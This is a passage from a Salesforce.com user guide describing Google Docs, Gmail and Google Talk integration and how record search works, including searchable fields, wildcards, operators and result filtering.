Note: To add an existing Google doc to a Salesforce CRM Content workspace, see Contributing Google Docs to
Salesforce CRM Content on page 272.

To add an existing Google doc to a record:


1. Display the record you want to associate with the Google doc.
2. On the Google Docs, Notes, & Attachments or Google Docs & Attachments related list, click Add Google Doc and
choose Add Existing.
3. Enter a Name for the Google doc and its URL.
4. Click Save.

Tip: You can find the URL by clicking Take me to Google Docs.

Once a Google doc is associated with a Salesforce.com record, clicking Edit next to that doc on the Google Docs, Notes, &
Attachments or Google Docs & Attachments related list displays the Add Existing Google Doc page. Modify the Name and
URL as needed.

306
Salesforce for Google Apps Installing the Add Google Doc to Salesforce.com Browser Button

Tip: For information about using Google Docs, refer to Google's online help.

See Also:
Using Google Docs in Salesforce.com
Adding Google Docs to Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button

Installing the Add Google Doc to Salesforce.com Browser


Button
Available in: All Editions

A browser button is an applet, or small computer application, that provides one-click functionality similar to a bookmark. The
Add Google Doc to Salesforce.com browser button allows you to associate a Google doc with several Salesforce.com records
at once, even when you are not working in Salesforce.com. To use this browser button, the Add Google Doc to Salesforce.com
service must be enabled and you must install the browser button in your browser.
You can access the Add Google Doc to Salesforce.com browser button on the Contribute tab in Salesforce CRM Content
or on a record detail page:

1. Display any record in Salesforce.com that has a Google Docs, Notes, & Attachments or Google Docs & Attachments
related list on the record detail page.
2. Choose Add Existing from the Add Google Doc drop-down button in the Google Docs, Notes, & Attachments or Google
Docs & Attachments related list. If the related list contains a Google doc, you can also click Edit next to the Google doc.
3. Click Get the browser button at the bottom of the page.

Note: Because Customer Portal and partner portal users do not have access to the Google Docs, Notes, & Attachments
or Google Docs & Attachments related list in the portal, portal users can only obtain the browser button from the
Contribute tab in Salesforce CRM Content.

If you use more than one type of browser, for example Microsoft® Internet Explorer and Mozilla® Firefox, install the browser
button in each browser. The instructions for installing the browser button depend on your browser. In Firefox, drag the browser
button to your Bookmarks Toolbar. In Apple® Safari, drag the browser button to your Bookmark Bar. In Internet Explorer:
Note: The instructions may vary slightly based on your version of Internet Explorer.

1. Right-click the browser button and choose Add to Favorites... from the Add Google Doc to Salesforce.com page.
2. Save the browser button in the Links folder and click Add.
3. In your browser menu bar, click View ➤ Toolbars and ensure that the Links toolbar is visible.
4. Close and restart your browser. The browser button displays in your Links toolbar.

307
Salesforce for Google Apps Associating Google Docs with Salesforce.com Records

Note: If you change your personal language setting in Salesforce.com and want to change the language on the browser
button also, you must delete and reinstall the browser button.

See Also:
Adding Google Docs to Salesforce.com
Associating Google Docs with Salesforce.com Records

Associating Google Docs with Salesforce.com Records


Available in: All Editions

User Permissions Needed


Associating a Google doc with a Salesforce.com record: “Read” on the appropriate record type
AND
Google Apps account

When you create, edit, or view a Google doc from your online Docs home page in your Google Apps account, click the Add
Google Doc to Salesforce.com browser button to associate the Google doc with one or more Salesforce.com records.
If Salesforce CRM Content is enabled in your organization, you can also add the Google doc to a Salesforce CRM Content
workspace. Including Google docs in Salesforce CRM Content allows users to access all types of content from a single location
and apply Salesforce CRM Content functionality, such as votes, comments, and subscriptions, toGoogle docs.
To associate a Google doc with Salesforce.com records from the Docs home page:

1. Open a Google doc.


2. Click the Add Google Doc to Salesforce.com browser button.
3. In the Add Google Doc To field, enter your search criteria for the Salesforce.com record.
4. Select an object type from the drop-down list and click Search.
5. Optionally, filter your search results with the Limit to items I own checkbox.
6. In the search results, select one or more records and click Add Google Doc to Selected Records. You can also click any
of the fields in the search-results list to view more information about the record(s).

To associate a Google doc with Salesforce CRM Content from the Docs home page:

1. Open a Google doc.


2. Click the Add Google Doc to Salesforce.com browser button.
3. In the Salesforce CRM Content message window at the top of the page, click Publish your Google Doc into Salesforce
CRM Content. The message only displays if you are a member of a Salesforce CRM Content workspace and have a
workspace permission that allows you to contribute content.
4. In the Describe and Publish window, add a title for your Google doc and, optionally, a description.
5. Choose a workspace.

308
Salesforce for Google Apps Activating the Google Docs Tab

6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
7. To publish the content on behalf of another author, choose that author from the drop-down list.
8. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:

• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
10. After completing any custom fields, click Publish. All workspace members can now search for this doc and provide feedback
such as comments and votes.
Note: While your Google doc is open, remember to share it with other Google Apps users in your organization.
Only Google Apps users with whom the doc is shared can view and edit the doc.

See Also:
Using Google Docs in Salesforce.com
Adding Google Docs to Salesforce.com
Google Apps Overview

Activating the Google Docs Tab


Available in: All Editions

User Permissions Needed


Activating or deactivating the Google Docs tab: “Customize Application”

Important: Once you activate a Google Apps service in Salesforce.com, it is visible to all users in your organization.
To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 294.

309
Salesforce for Google Apps Using Gmail in Salesforce.com

Google Docs™ allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and
work together in real time with other collaborators. The Google Docs tab in Salesforce.com hosts the Docs home page for
each user's Google Apps account, allowing users to view and manage all their Google docs from within Salesforce.com. If the
Add Google Doc to Salesforce.com service is also activated, users can install a browser button that enables them to easily
associate Google docs with Salesforce.com records from the Google Docs tab.
To activate or deactivate the Google Docs tab in Salesforce.com:

1. Click Setup ➤ Google Apps ➤ Settings.


2. Click Edit next to the Google Docs Tab option in the Activate Google Apps Services list.
3. Select or deselect the Activate checkbox.
4. If you are activating the Google Docs tab, read the Terms of Use and select the checkbox indicating you agree to the Terms
of Use.
5. Click Save.

See Also:
Using Google Docs in Salesforce.com
Installing the Add Google Doc to Salesforce.com Browser Button
Adding Google Docs to Salesforce.com

Using Gmail in Salesforce.com


Available in: All Editions

User Permissions Needed


Activating Gmail in Salesforce.com: “Customize Application”

Important: Once you activate a Google Apps service in Salesforce.com, it is visible to all users in your organization.
To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 294.

Gmail™ (also called Google Mail) is a free Web-based email service from Google that operates on all standard browsers and
can be used with your company's domain. You can integrate Gmail with Salesforce.com in two ways:

• Gmail to Salesforce.com
• Gmail Buttons and Links

Gmail to Salesforce.com
Gmail to Salesforce.com allows you to automatically log emails and chats you send from your Gmail account as activities on
lead, contact, opportunity, and other records that support activity history in Salesforce.com.
Gmail to Salesforce.com is based on the Email to Salesforce feature. To activate Gmail to Salesforce.com for your organization,
follow the instructions in Enabling Email to Salesforce on page 785. To configure your personal Gmail to Salesforce.com
setup, follow the instructions in Using My Email to Salesforce Address on page 216.

310
Salesforce for Google Apps Using Google Talk in Salesforce.com

Gmail Buttons and Links


Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in Activity
History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button, Salesforce.com
automatically logs you into your Gmail account and automatically populates the To field. If Gmail to Salesforce.com is
activated, Salesforce.com also populates the BCC field with your Email to Salesforce address.
To activate Gmail Buttons and Links:
1. Click Setup ➤ Google Apps ➤ Settings.
2. In the Activate Google Apps Services list, click Edit next to Gmail Buttons and Links.
3. Select the Active checkbox to activate Gmail Buttons and Links for your organization.
4. Select the Gmail Links checkbox to add Gmail links next to all email fields (except email fields on pages under Setup).
5. Select the Gmail Buttons checkbox to add Compose Gmail buttons in Activity History related lists on leads and
contacts.
6. Read the Terms of Use, and select the checkbox indicating you have read and agree to them.
7. Click Save.

Implementation Notes
• If your organization enables Gmail Buttons and Links but does not enable Gmail to Salesforce.com, you can still use the
Gmail links on contact and lead records; however, Salesforce.com does not log emails you send from your Gmail account,
or automatically populate the BCC field on the Compose Mail screen with an Email to Salesforce address.
• For information about Gmail, refer to Google's online help.

See Also:
Google Apps Overview

Using Google Talk in Salesforce.com


Available in: All Editions

User Permissions Needed


Activating or deactivating Google Talk: “Customize Application”

Important: Once you activate a Google Apps service in Salesforce.com, it is visible to all users in your organization.
To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 294.

Google Talk™ is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in Salesforce.com,
Google Talk displays below the sidebar search fields where it can be toggled on, off, or expanded into its own window. You
can also log a chat record as an activity on a Salesforce.com lead or contact record.

Activating Google Talk


To activate or deactivate Google Talk in Salesforce.com:

311
Search and Tags Search Overview

1. Click Setup ➤ Google Apps ➤ Settings.


2. Click Edit next to the Google Talk Sidebar Component option in the Activate Google Apps Services list.
3. Select or deselect the Active checkbox.
4. If you are activating the Google Talk Sidebar Component, read the Terms of Use and select the checkbox indicating you
agree to the Terms of Use.
5. Click Save.

Tips for Using Google Talk


• For information about using Google Talk, refer to Google's online help.
• Google Talk appears in both standard and custom sidebar layouts on all tabs.
• Because Google Talk chats are automatically saved in Gmail, users with Email to Salesforce can log a Google Talk chat
as an activity on a lead or contact. For more information see Using Gmail in Salesforce.com on page 310.
• When Google Talk is in the sidebar, refreshing a Salesforce.com page causes Google Talk to momentarily disconnect and
reconnect. For longer chats, open Google Talk in its own window by clicking pop out next to the Google Talk sidebar
component.
• Google Talk is not available for Customer Portal or partner portal users.

See Also:
Google Apps Overview
Setting Up Google Apps in Salesforce.com

SEARCH AND TAGS

Search Overview
Available in: All Editions

Salesforce.com offers two main ways to search for records and tags—Sidebar Search and Advanced Search, accessible via a
link in the sidebar. The following table describes the main differences between the two:

Sidebar Search Advanced Search


Searches are automatically treated as a phrase search; that is, Search terms are treated as separate words and may be found
the search matches terms only in the exact sequence that they in different indexed fields within a record. Words are
appear. demarcated by letter, number, and punctuation boundaries.
For example, searching for bob jones returns items with For example, searching for bob jones returns items with
Bob Jones, but not Bobby Jones or Bob T Jones. Likewise, Bob Jones, as well as a contact named Bob Smith whose email
searching for acct!4 only returns items with acct!4 in a single address is bsmith@jones.com.
string.
Search queries are broken into separate search terms at any
split between alphabetic, numeric, and special characters. For

312
Search and Tags Search Overview

Sidebar Search Advanced Search


Note: In Chinese, Japanese, and Korean, you can find example, searching for acct!4 returns items with Acct, !, and
a person by entering last name before first name; 4, even if those terms are in separate places in the item.
searching for jones bob returns any person named
Bob Jones.

An * (asterisk) wildcard is automatically appended to your The * wildcard is not appended to the search.
search string. For example, searching for bob jo finds items
with Bob Jones and Bob Johnson.
You can use the * and ? (question mark) wildcards to refine You can use the * and ? wildcards to refine results. You can
your search results. Use * to match one or more characters, or also use the AND, OR, AND NOT, and " " (quotation marks)
? to match a single character. Special operators cannot be used. special operators.
Searches look only in a certain subset of fields, including name, Searches look in a wider set of fields, including long text fields
phone, email, and standard address fields. such as descriptions, task and event comments, and notes.
If the Sidebar Search drop-down list is enabled, you can limit You can choose one or more items, including tags and specific
your search to only tags or the records for a single object. In objects, by which to limit your search. In the Scope section,
the drop-down list, select the item you want. Select Search select the items you want.
All to search across all tags and objects.
If the Sidebar Search Limit to Items I Own checkbox is In Advanced Search, the Limit to Items I Own checkbox is
enabled, you can check this box to limit your search to records always enabled. Otherwise, it operates exactly as it does in the
for which you are the owner, including case comments and Sidebar Search.
reports that you created.
Note: When this checkbox is selected, the search
results don't return asset, order, and user records.

Other Search Utilities


The following tabs have unique search utilities. These tabs aren't searchable using the standard Sidebar Search or Advanced
Search; use the search feature on the tab to find records of that type.

• Solutions
• Documents
• Salesforce CRM Content
• Products
• Articles
• Article Management

313
Search and Tags How Search Works

Tip: Your administrator can customize your Home tab to include the product, document, or solution search in the
sidebar.

See Also:
Searching Records
How Search Works
Lookup Dialog Search
Viewing Search Results
Filtering Search Results
Browsing, Searching, and Managing Tags
Customizing Search Layouts
Using the Help & Training Window
Tip sheet: Finding the Information You Need

How Search Works


Available in: All Editions

Searches in Salesforce.com use custom algorithms that take several variables into account, including:

• Search terms that the user enters


• Ignored words in search terms (for example, “the,” “to,” and “for”)
• Search term stems (for example, searching for speaking returns items with speak)
• Proximity of search terms in a record
• Record ownership
• Most recently accessed records
• Most frequently accessed records

Because each search is configured for the user performing the search, two users may not have the same results for the same
search. For example, if a user has recently viewed a record, that past viewing increases the relevancy of that record and moves
it higher in the list of search results. Records also become more relevant if they are owned by the user performing the search,
or if they are used frequently by other members of the organization.
Note: Fields that are hidden from a user via field-level security are still searchable. When users search for a value in
a field hidden to them, the search results include the record that contains the field, even though users cannot see the
field.

See Also:
Search Overview

314
Search and Tags Searching Records

Searching Records
Available in: All Editions

Using Sidebar Search


To search for a record from the sidebar:
1. From the Search drop-down list, select the appropriate kind of record or select Search All to search all available records.
2. Enter a search string in the text entry box.
Note:
• Use any letter case you want, as case is ignored in the search. For example, a search for california finds
the same items as a search for California.
• In Sidebar Search, your search string is treated as a phrase with the asterisk (*) wildcard at the end.
• Find phone numbers by entering part or all of a number. For example, to find (415) 999-3434, you can enter
4159993434, 999, or 3434. To search for the last seven digits, you must enter the punctuation, such as
999-3434.

3. Optionally select Limit to items I own to restrict the search results to records of which you are the owner.
4. If you have the “Affected by Divisions” permission, optionally choose whether to search in just your working division, or
in all divisions.
5. Click Go!.

Using Advanced Search


Advanced Search searches more fields than the sidebar search, including notes, descriptions, and comments. To search for a
record using Advanced Search:
1. In the Sidebar, click Advanced Search....
2. Enter a search string in the text entry box. In Advanced Search you can:
• Use operators such as AND, OR, and AND NOT to refine your search.
• Put quotation marks around multiple keywords to perform an exact phrase search, for example, "call john smith".
• Add an asterisk wildcard at the middle or end of your keyword to match one or more characters; for example, acme*
returns results for acme, acme1, and acme_tools.
• Add a question mark (?) wildcard at the middle or end of a keyword to match a single character; for example, jo?n
returns results for join, john, and joan.
• Use any letter case you want, as case is ignored in the search. For example, a search for california finds the same
items as a search for California.
• Find phone numbers by entering part or all of a number. For example, to find (415) 999-3434, you can enter
4159993434, 999, or 3434. To search for the last seven digits, you must enter the punctuation, such as 999-3434.

3. Optionally select Limit to items I own to restrict the search results to records of which you are the owner.
4. Optionally select Exact phrase to restrict the search to an exact phrase search. This option is equivalent to using
quotation marks around your entire search string.
5. In the Scope area, select one or more Salesforce.com objects for which you want to return search results. If you do not
select any objects in this area, all possible objects are returned by your search. You can click Select All or Deselect All to
quickly select all or no objects.
6. If you have the “Affected by Divisions” permission, optionally specify which divisions you want to search.

315
Search and Tags Search Fields

7. Click Search.

See Also:
Search Overview
Viewing Search Results
Lookup Dialog Search
Search Fields
Filtering Search Results
Tip sheet: Finding the Information You Need

Search Fields
The types of records you can search vary according to which Edition you have.

You can search for information within any of the fields listed in the following tables. The first column lists fields searched in
both the Sidebar Search and Advanced Search. The second column lists additional fields searched in Advanced Search only.
Note: Fields that are hidden from a user via field-level security are still searchable. When users search for a value in
a field hidden to them, the search results include the record that contains the field, even though users cannot see the
field.

• Business Account Fields


• Person Account Fields
• Article Fields
• Asset Fields
• Attachment Fields
• Campaign Fields
• Case Fields
• Contact Fields
• Contract Fields
• Contract Line Item Fields
• Custom Object Fields
• Document Fields
• Entitlement Fields
• Idea Fields
• Lead Fields
• Note Fields
• Opportunity Fields
• Price Book and Product Fields
• Question Fields
• Quote Fields
• Report Fields

316
Search and Tags Search Fields

• Service Contract Fields


• Solution Fields
• Tags
• Task, Calendar Event, and Requested Meeting Fields
• User Fields
• Lookup Search Fields

Business Account Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Account Name Billing Address

Account Name (Local) Description

Account Number Shipping Address

Account Site All custom fields of type text, text area, long text area, email,
and phone
Fax

Phone

Ticker Symbol

Website

All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

Person Account Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Account Name Billing Address

Account Name (Local) Description

Account Number Mailing Address

Account Site Other Address

Assistant Shipping Address

Assistant Phone Title

Email All account and contact custom fields of type text, text area,
long text area, email, and phone.
Fax

Home Phone

Mobile

317
Search and Tags Search Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Other Phone

Ticker Symbol

Website

All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

Article Fields
Neither Sidebar Search nor Advanced Search are designed to find articles. To find an article, use the search tools in the sidebar
on the Articles tab instead. For more information, see Searching for Articles on page 2359.

Asset Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Asset Name Description

Serial Number All custom fields of type text, text area, long text area, email,
and phone.
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

Attachment Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
File Name

Campaign Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Campaign Name Description

All custom auto number fields and custom fields that are set All custom fields of type text, text area, long text area, email,
as an external ID and phone.
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

318
Search and Tags Search Fields

Case Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Case Number Description
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

Web Company (of person who submitted the case online) Case Comments

Web Email (of person who submitted the case online) All custom fields of type text, text area, long text area, email,
and phone.
Web Name (of person who submitted the case online)

Web Phone (of person who submitted the case online)

Subject

All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

Contact Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Assistant Department

Asst. Phone Description

Email Mailing Address

Fax Other Address

First Name Title

First Name (Local) All custom fields of type text, text area, long text area, email,
and phone.
Home Phone

Last Name

Last Name (Local)

Mobile

Other Phone

Phone

All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

319
Search and Tags Search Fields

Contract Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Contract Name Billing Address

Contract Number Description

All custom auto number fields and custom fields that are set Shipping Address
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

Special Terms

All custom fields of type text, text area, long text area, email,
and phone.

Contract Line Item Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Name Description

Custom Object Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Name All custom fields of type text, text area, and long text area.
All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

All custom fields of type email and phone.

Document Fields
Neither Sidebar Search nor Advanced Search are designed to find documents. To find a document, use the Find Document
button on the Documents tab instead. For more information, see Searching for Documents on page 206.

Entitlement Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Name

320
Search and Tags Search Fields

Idea Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Title Description

Comment

Lead Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Company Address

Email Description

Fax Title

First Name All custom fields of type text, text area, long text area, email,
and phone.
First Name (Local)

Last Name

Last Name (Local)

Mobile

Phone

All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

Note Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Title Body

Opportunity Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Opportunity Name Description

All custom auto number fields and custom fields that are set All custom fields of type text, text area, long text area, email,
as an external ID and phone.
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

321
Search and Tags Search Fields

Price Book and Product Fields


Neither Sidebar Search nor Advanced Search are designed to find price books or products. To find a price book or product,
use the Price Books and Find Products areas on the Products tab instead. For more information, see Searching for Price
Books and Products on page 1816.

Question Fields
The Answers tab in Salesforce.com lists all the questions posted to ananswers community.

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Question Title Question Body

Reply Body

Quote Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Quote Number

Quote Name

Report Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Report Name

Description

Service Contract Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Name Description

Contract Number Special Terms

Solution Fields
Neither Sidebar Search nor Advanced Search are designed to find solutions. To find a solution, use the Find Solution button
on the Solutions tab instead. For more information, see Searching for Solutions on page 2339.

Tags
You can search for tags in both sidebar Search and Advanced Search.

Task, Calendar Event, and Requested Meeting Fields


Archived activities are accessible in Advanced Search only.

322
Search and Tags Search Fields

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Subject Comments (tasks and events only)

All custom auto number fields and custom fields that are set All custom fields of type text, text area, email, and phone.
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

User Fields
Only active users are included in search results.

Fields Searched in Both Sidebar Search & Advanced Search Fields Searched in Advanced Search Only
Email About me

First Name All custom fields of type text, text area, long text area, email,
and phone.
Last Name

Name

Nickname

Phone

Username

All custom auto number fields and custom fields that are set
as an external ID
Note that you do not need to enter any leading zeros during
a search on an autonumber field.

Lookup Search Fields


The lookup icon, which appears as a magnifying glass next to many fields, opens a dialog that allows you to search for other
records. Below is the list of fields that are used for matching when searching in the standard or enhanced lookup dialog.

Type of Record Fields Searched in Standard Lookups Fields Searched in Enhanced Lookups
Account Account Name Account Name
Account Name (Local) Account Name (Local)

Campaign Campaign Name n/a


Case Case Number n/a
Community Community Name n/a
Contact First Name First Name
First Name (Local) First Name (Local)
Last Name Last Name

323
Search and Tags Search Fields

Type of Record Fields Searched in Standard Lookups Fields Searched in Enhanced Lookups
Last Name (Local) Last Name (Local)

Contract Contract Name n/a


Contract Number

Discussion Title n/a


Document Document Name n/a
Keywords

Idea Title n/a


Lead Company n/a
Company (Local)
Name
Name (Local)

Opportunity Account Name n/a


Opportunity Name

Product Product Code n/a


Self-Service User First Name n/a
Last Name

Solution Solution Title n/a


User First Name First Name
Note: Only active users are Last Name Last Name
searchable.
Name Name

Custom Objects Name Name

See Also:
Search Overview
Searching Records
How Search Works
Searching for Documents
Searching for Price Books and Products
Searching for Solutions
Tip sheet: Finding the Information You Need

324
Search and Tags Search Wildcards and Operators

Search Wildcards and Operators


Available in: All Editions
Special operators not available in: Connect Offline

Use wildcards and special operators to improve your search results.

Wildcards
In Sidebar Search, Advanced Search, Lookup Search, Product Search, Report Search, and Solution Search, you can use
wildcards to help you find the information you need.

Wildcard Description
* (asterisk) Use an asterisk to match one or more characters at the middle or end of your search term.
Do not use the asterisk at the beginning of a search term, unless you are performing a standard
lookup search.
For example, a search for john* finds items that start with variations on the term john, such
as, johnson or johnny. A search for mi* meyers finds items with mike meyers or michael
meyers.

? (question mark) Use a question mark to match one character at the middle or end of your search term. For
example, a search for jo?n finds items with the term john or joan. The question mark wildcard
does not work at the beginning of a search term.

Note: Remember the following caveats with wildcards:


• Wildcards take on the type of the preceding character. For example, aa*a matches aaaa and aabcda, but not aa2a
or aa.!//a, and pi? matches pin and pig, but not pi1 or pi!. Likewise, 12? matches 123 and 124, but not 12a or
12b.
• Lookup search supports the asterisk wildcard only. In standard lookup search, you can use an asterisk at the
beginning, middle, or end of your search term.
• When searching Chinese, Japanese, Korean, or Thai characters, you cannot use the asterisk or question mark
wildcard in the middle of your search term.
• The asterisk and question mark function as wildcards when they are included in a search phrase that is enclosed
in quotation marks, or when Exact phrase is selected in an advanced search. For example, "my wor?" matches
my work and my word.

Special Operators
You can use special operators to improve your results. These operators are available in Advanced Search, Enhanced Lookup
Search, Product Search, Report Search, and Solution Search only.
Note: Sidebar Search automatically places the quotation mark operators around any search string that you enter.

325
Search and Tags Search Wildcards and Operators

Operator Description
AND Finds items that match all of the search terms. For example, acme AND california finds
items with both the word acme and the word california.
In Advanced Search, using AND is optional, as searching for acme california is the
same as searching for acme AND california.

OR Finds items with at least one of the search terms. For example, acme OR california
finds items with either acme or california or both words.
AND NOT Finds items that do not contain the search term. For example, acme AND NOT california
finds items that have the word acme but not the word california.
" " (quotation marks) Use quotation marks around search terms to find an exact phrase match. For example, a search
for "monday meeting" finds items that contain the exact phrase monday meeting. This
can be especially useful when searching for text with punctuation. For example, "acme.com"
finds items that contain the exact text acme.com. However, the asterisk (*) and question mark
(?) function as wildcards when they are included in a search phrase that is enclosed in quotation
marks.

Order of Operations
When you combine multiple operators in a row, precedence is as follows:
1. Parentheses ()
2. AND and AND NOT (between these two, precedence goes to the rightmost operator)
3. OR
For example, the following table shows how search strings are interpreted based on these rules:

Searching for... Is equivalent to...


aaaa AND bbbb AND NOT cccc aaaa AND (bbbb AND NOT cccc)
aaaa AND NOT bbbb AND cccc aaaa AND NOT (bbbb AND cccc)
aaaa AND bbbb OR cccc (aaaa AND bbbb) OR cccc
aaaa AND (bbbb OR cccc) aaaa AND (bbbb OR cccc)

See Also:
Search Fields
Searching Records
Search Overview
Tip sheet: Finding the Information You Need

326
Search and Tags Viewing Search Results

Viewing Search Results


Available in: All Editions

When you perform a search, the Search Results page displays a separate list for matching tags and tag sets, and for each object
with matching results. You can click on a link at the top of the page to jump directly to a particular list of results. The link
also contains the number of results for that object. For example, if your results include a link that says Contacts [25+], there
are more than 25 contact records that match your search criteria.
Search results include the following information:

• Personal tags that you created or public tags on records you can view
• Objects for which you have at least “Read” permission
• Records to which you have access
• Fields that are visible in the search layout defined by your administrator
• Fields to which you have field-level security access in Enterprise, Unlimited, and Developer Editions
• Records from custom objects if they are in a custom tab that you can access
• Records for which you are the owner, if you choose to limit the search to items you own
• Records in your working division as specified in the Divisions drop-down list in the sidebar, if your organization uses
divisions and you have the “Affected by Divisions” permission
Note: Use Advanced Search to find records from multiple divisions at one time. If you do not have the “Affected
by Divisions” permission, your search results include records in all divisions.

Select an entry to jump directly to that item or click Edit to edit it.
If you are not satisfied with your results or you would like to further refine your search, use the Search box at the top of the
results page. When the Scope is All Objects, this search box behaves like the Sidebar Search. If you select Advanced Search
from the Scope, you will be directed to the Advanced Search page to modify the scope of your search.
If your search returns a large number of results for a particular object, click the Next Page or Previous Page link to go to the
next or previous set of results for that object.

Organizing Search Results


You can select which columns appear in your object search results and Enhanced Lookup results and change the order of the
selected columns.
1. Click the My Columns link in the appropriate object results related list. If you have the System Administrator profile,
click Customize ➤ My Columns.
2. Use the Add and Remove arrows to move columns to or from the Available Fields list to the Selected Fields list.
3. Use the Up and Down arrows to change the order of the columns.
4. Click Save when you are done.
Tip: Click any column heading to sort the results in ascending order. Click the heading a second time to sort in
descending order. Sorting applies across all search results for a particular object, including those on subsequent pages.
You cannot sort the multi-select picklist field type. You will not be able to click on column headings for multi-select
picklist fields.

327
Search and Tags Viewing Search Results

Notes on Search Results


• The columns that are available for selection are determined by your administrator in the search layout. If your administrator
did not create a search layout for the object or if search layouts are not available for the object, such as documents and
reports, you cannot customize the columns.
• Customized columns apply only to the logged-in user and are not visible to others within your organization.
• Encrypted fields are not searchable but they can be included in search results.
• Enhanced Lookup search results may display in a different order than standard lookup search results.
• If you enter a value into a lookup text box and save the record without clicking the lookup icon ( ), Salesforce.com
automatically performs a search and assigns the result to the lookup field. If more than one result is found, Salesforce.com
displays a drop-down list of the matching options. If no results match the text you entered, an error displays instead.
Note: Fields that are hidden from a user via field-level security are still searchable. When users search for a value in
a field hidden to them, the search results include the record that contains the field, even though users cannot see the
field.

Customizing Search Results Filters


Once filters are enabled, administrators can customize filters for all users from the search results page.
To customize filters for search results:
1. Click Customize and select Filters for All Users from the drop-down.
2. Use the Add and Remove arrows to move columns to or from the Available Fields list.
3. Use the Up and Down arrows to change the order of the columns.
4. Click Save when you are done.
To customize filters for Enhanced Lookups:
1. Click Setup ➤ Customize, select Accounts, Contacts, or Users, and click Search Layouts. To access search layouts for
custom objects, click Setup ➤ Create ➤ Objects, click the name of the custom object you want to modify, and scroll
down to the Search Layouts related list.
2. Click Edit next to the Lookup Filter Fields layout.
3. Use the arrows to add or remove fields from the layout, and to define the order in which the fields should display. You can
add up to six filter fields to the Selected Fields list. To select more than one field at a time, use CTRL+click or SHIFT+click
to select multiple items in a range.
4. Click Save.

Filtering Search Results


You can filter the search or Enhanced Lookups results for a particular object, if you want to further narrow down the criteria.
Note:
• Filtering applies across all search results for a particular object, including those on subsequent pages.
• Filters are only available in the search results if your administrator created a search layout for filters on an object.
Some objects, like documents and reports, can't be filtered because they don't have search layouts.
• Filters aren't available in Customer Portals or partner portals.

To filter the results:


1. Click the Show Filters link in the appropriate results related list.
2. Enter filter criteria as necessary, and click Apply Filters.
• To remove all filters and go back to the original search results, click Clear Filters.

328
Search and Tags Filtering Search Results

• To hide the filters, click Hide Filters.

Note: The visibility of filter options (whether they are hidden or shown) is saved from session to session.
If sorting or filtering the results is taking a long time, you can stop the process by clicking the Cancel button on the
progress indicator.

See Also:
Search Overview
Searching Records
Filtering Search Results
Browsing, Searching, and Managing Tags
Tip sheet: Finding the Information You Need

Filtering Search Results


Available in: All Editions

